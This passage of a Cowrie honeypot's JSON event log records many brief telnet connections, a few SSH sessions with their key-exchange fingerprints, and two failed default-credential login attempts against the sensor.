iffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:37.097683Z","src_ip":"41.63.62.103","session":"2e25638745a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.831122159957886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:37.264739Z","src_ip":"69.6.196.124","session":"9ca69cddc400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.266715049743652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:37.329871Z","src_ip":"69.6.196.124","session":"8eb6d2e5ea0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1939058303833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:37.439511Z","src_ip":"69.6.196.124","session":"69e724f3b7aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57166,"dst_ip":"159.203.135.109","dst_port":23,"session":"7668cadfedca","protocol":"telnet","message":"New connection: 69.6.196.124:57166 (159.203.135.109:23) [session: 7668cadfedca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:37.808685Z"}
{"eventid":"cowrie.session.closed","duration":31.28689432144165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.079733Z","src_ip":"69.6.196.124","session":"960c0a495da9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"catadmin","password":"catadmin","message":"login attempt [catadmin/catadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.137752Z","src_ip":"41.63.62.103","session":"2e25638745a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57168,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ec80e046a3","protocol":"telnet","message":"New connection: 69.6.196.124:57168 (159.203.135.109:23) [session: b3ec80e046a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.226960Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57154,"dst_ip":"159.203.135.109","dst_port":23,"session":"657ffc614d84","protocol":"telnet","message":"New connection: 69.6.196.124:57154 (159.203.135.109:23) [session: 657ffc614d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.351167Z"}
{"eventid":"cowrie.session.closed","duration":30.800424575805664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.440538Z","src_ip":"69.6.196.124","session":"b05bf98c6d4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57172,"dst_ip":"159.203.135.109","dst_port":23,"session":"6812636a93ac","protocol":"telnet","message":"New connection: 69.6.196.124:57172 (159.203.135.109:23) [session: 6812636a93ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.498398Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57186,"dst_ip":"159.203.135.109","dst_port":23,"session":"84e4034ea1dc","protocol":"telnet","message":"New connection: 69.6.196.124:57186 (159.203.135.109:23) [session: 84e4034ea1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:38.677268Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:39.402778Z","src_ip":"41.63.62.103","session":"2e25638745a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26156973838806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:40.114191Z","src_ip":"69.6.196.124","session":"4e40e0668a50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013128995895386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:40.275457Z","src_ip":"69.6.196.124","session":"f530280eae1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854007720947266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:40.383656Z","src_ip":"69.6.196.124","session":"08d44d999c98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178871393203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:40.766067Z","src_ip":"69.6.196.124","session":"43d0036ed711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60909628868103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:40.963324Z","src_ip":"69.6.196.124","session":"c7a53baf9a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38821005821228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.091492Z","src_ip":"69.6.196.124","session":"088798640619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50018,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf556c24fa33","protocol":"telnet","message":"New connection: 69.6.196.124:50018 (159.203.135.109:23) [session: bf556c24fa33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.101342Z"}
{"eventid":"cowrie.session.closed","duration":30.659305334091187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.279278Z","src_ip":"69.6.196.124","session":"f27f8a293533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530245304107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.286553Z","src_ip":"69.6.196.124","session":"f7eadade472b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50030,"dst_ip":"159.203.135.109","dst_port":23,"session":"02eecef37ed7","protocol":"telnet","message":"New connection: 69.6.196.124:50030 (159.203.135.109:23) [session: 02eecef37ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.446177Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50014,"dst_ip":"159.203.135.109","dst_port":23,"session":"05395697240a","protocol":"telnet","message":"New connection: 69.6.196.124:50014 (159.203.135.109:23) [session: 05395697240a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.616537Z"}
{"eventid":"cowrie.session.closed","duration":31.175912380218506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.643700Z","src_ip":"69.6.196.124","session":"e734deef321b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":55594,"dst_ip":"10.17.0.5","dst_port":22,"session":"487489cbc505","protocol":"ssh","message":"New connection: 201.184.50.251:55594 (10.17.0.5:22) [session: 487489cbc505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.744210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.749178Z","src_ip":"201.184.50.251","session":"487489cbc505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:41.842350Z","src_ip":"201.184.50.251","session":"487489cbc505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test-123","message":"login attempt [test/test-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:42.242013Z","src_ip":"201.184.50.251","session":"487489cbc505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.494332313537598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:42.938558Z","src_ip":"69.6.196.124","session":"00ebe3d82c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.146404266357422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.306589Z","src_ip":"69.6.196.124","session":"92d782814407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.336436Z","src_ip":"201.184.50.251","session":"487489cbc505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50048,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a161a38b6e","protocol":"telnet","message":"New connection: 69.6.196.124:50048 (159.203.135.109:23) [session: 34a161a38b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.421091Z"}
{"eventid":"cowrie.session.closed","duration":31.120242595672607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.460583Z","src_ip":"69.6.196.124","session":"a9117215dbf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9224591255188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.556218Z","src_ip":"69.6.196.124","session":"291b2da596da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50052,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5927ed9f7f","protocol":"telnet","message":"New connection: 69.6.196.124:50052 (159.203.135.109:23) [session: fa5927ed9f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.649772Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50064,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0bf923840c0","protocol":"telnet","message":"New connection: 69.6.196.124:50064 (159.203.135.109:23) [session: d0bf923840c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.672127Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50066,"dst_ip":"159.203.135.109","dst_port":23,"session":"375c2008aac3","protocol":"telnet","message":"New connection: 69.6.196.124:50066 (159.203.135.109:23) [session: 375c2008aac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.853055Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50036,"dst_ip":"159.203.135.109","dst_port":23,"session":"1973126fc850","protocol":"telnet","message":"New connection: 69.6.196.124:50036 (159.203.135.109:23) [session: 1973126fc850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:43.919976Z"}
{"eventid":"cowrie.session.closed","duration":30.304617166519165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:44.278695Z","src_ip":"69.6.196.124","session":"1cb2fff07124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50068,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13d3a6da6f3","protocol":"telnet","message":"New connection: 69.6.196.124:50068 (159.203.135.109:23) [session: b13d3a6da6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:44.510237Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50098,"dst_ip":"159.203.135.109","dst_port":23,"session":"172d133873a6","protocol":"telnet","message":"New connection: 69.6.196.124:50098 (159.203.135.109:23) [session: 172d133873a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:44.699619Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50114,"dst_ip":"159.203.135.109","dst_port":23,"session":"3efc220c2232","protocol":"telnet","message":"New connection: 69.6.196.124:50114 (159.203.135.109:23) [session: 3efc220c2232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:44.868305Z"}
{"eventid":"cowrie.session.closed","duration":31.242343187332153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:44.955386Z","src_ip":"69.6.196.124","session":"7aee5c3ba566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82471227645874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:44.972339Z","src_ip":"69.6.196.124","session":"f21d72156f50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50082,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0c09dcdd59d","protocol":"telnet","message":"New connection: 69.6.196.124:50082 (159.203.135.109:23) [session: f0c09dcdd59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:45.609861Z"}
{"eventid":"cowrie.session.closed","duration":31.12583875656128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:45.818438Z","src_ip":"69.6.196.124","session":"d246fbd5e5f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.50152897834778,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:45.823381Z","src_ip":"69.6.196.124","session":"b8343cf4776c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26782751083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:46.330945Z","src_ip":"69.6.196.124","session":"6740e1a0ac07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50124,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaf87635b8a1","protocol":"telnet","message":"New connection: 69.6.196.124:50124 (159.203.135.109:23) [session: eaf87635b8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:46.571122Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2619e10cd31","protocol":"telnet","message":"New connection: 69.6.196.124:50140 (159.203.135.109:23) [session: e2619e10cd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:46.791436Z"}
{"eventid":"cowrie.session.closed","duration":31.668011903762817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:46.852566Z","src_ip":"69.6.196.124","session":"e26b752c4ef5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121848583221436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:47.467945Z","src_ip":"69.6.196.124","session":"dfacdf72cd73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50126,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e7f7c666ba1","protocol":"telnet","message":"New connection: 69.6.196.124:50126 (159.203.135.109:23) [session: 9e7f7c666ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:47.594807Z"}
{"eventid":"cowrie.session.closed","duration":31.42793107032776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:47.758306Z","src_ip":"69.6.196.124","session":"b5737494d2c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239723205566406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:48.005728Z","src_ip":"69.6.196.124","session":"d0da25d6f39f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333159685134888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:48.338098Z","src_ip":"69.6.196.124","session":"7bfcd8eb55c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981550216674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:48.418998Z","src_ip":"69.6.196.124","session":"21818ee08b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50174,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42a1031cf90","protocol":"telnet","message":"New connection: 69.6.196.124:50174 (159.203.135.109:23) [session: d42a1031cf90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:48.745356Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50204,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca47f9b1a7f","protocol":"telnet","message":"New connection: 69.6.196.124:50204 (159.203.135.109:23) [session: 0ca47f9b1a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:49.058753Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50210,"dst_ip":"159.203.135.109","dst_port":23,"session":"249f03470456","protocol":"telnet","message":"New connection: 69.6.196.124:50210 (159.203.135.109:23) [session: 249f03470456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:49.179502Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa29575df3f","protocol":"telnet","message":"New connection: 69.6.196.124:50158 (159.203.135.109:23) [session: 3fa29575df3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:49.615500Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50188,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abfc3535346","protocol":"telnet","message":"New connection: 69.6.196.124:50188 (159.203.135.109:23) [session: 0abfc3535346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:49.770068Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58362,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ee10157c31","protocol":"telnet","message":"New connection: 69.6.196.124:58362 (159.203.135.109:23) [session: 34ee10157c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:49.907955Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50196,"dst_ip":"159.203.135.109","dst_port":23,"session":"59e49ae32653","protocol":"telnet","message":"New connection: 69.6.196.124:50196 (159.203.135.109:23) [session: 59e49ae32653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:49.994054Z"}
{"eventid":"cowrie.session.closed","duration":31.3175368309021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:50.147649Z","src_ip":"69.6.196.124","session":"09dc7a6f9b6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58378,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec902621479","protocol":"telnet","message":"New connection: 69.6.196.124:58378 (159.203.135.109:23) [session: 5ec902621479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:50.219133Z"}
{"eventid":"cowrie.session.closed","duration":30.84056043624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:50.310381Z","src_ip":"69.6.196.124","session":"5606a937d938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31909155845642,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:50.352694Z","src_ip":"185.53.58.141","session":"c04b3d77ba28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d48bb94d2c6","protocol":"telnet","message":"New connection: 69.6.196.124:50156 (159.203.135.109:23) [session: 0d48bb94d2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:50.474042Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58368,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ea73327c4b","protocol":"telnet","message":"New connection: 69.6.196.124:58368 (159.203.135.109:23) [session: a0ea73327c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:51.211463Z"}
{"eventid":"cowrie.session.closed","duration":31.23689031600952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:51.469182Z","src_ip":"69.6.196.124","session":"12066a386629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837605476379395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:51.791715Z","src_ip":"69.6.196.124","session":"ac09cdfa0b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58394,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d23ad9156b","protocol":"telnet","message":"New connection: 69.6.196.124:58394 (159.203.135.109:23) [session: 81d23ad9156b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:52.204733Z"}
{"eventid":"cowrie.session.closed","duration":30.62855076789856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:52.623206Z","src_ip":"69.6.196.124","session":"b53b15a0a9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":58404,"dst_ip":"159.203.135.109","dst_port":23,"session":"33dabc1921b6","protocol":"telnet","message":"New connection: 69.6.196.124:58404 (159.203.135.109:23) [session: 33dabc1921b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:52.745731Z"}
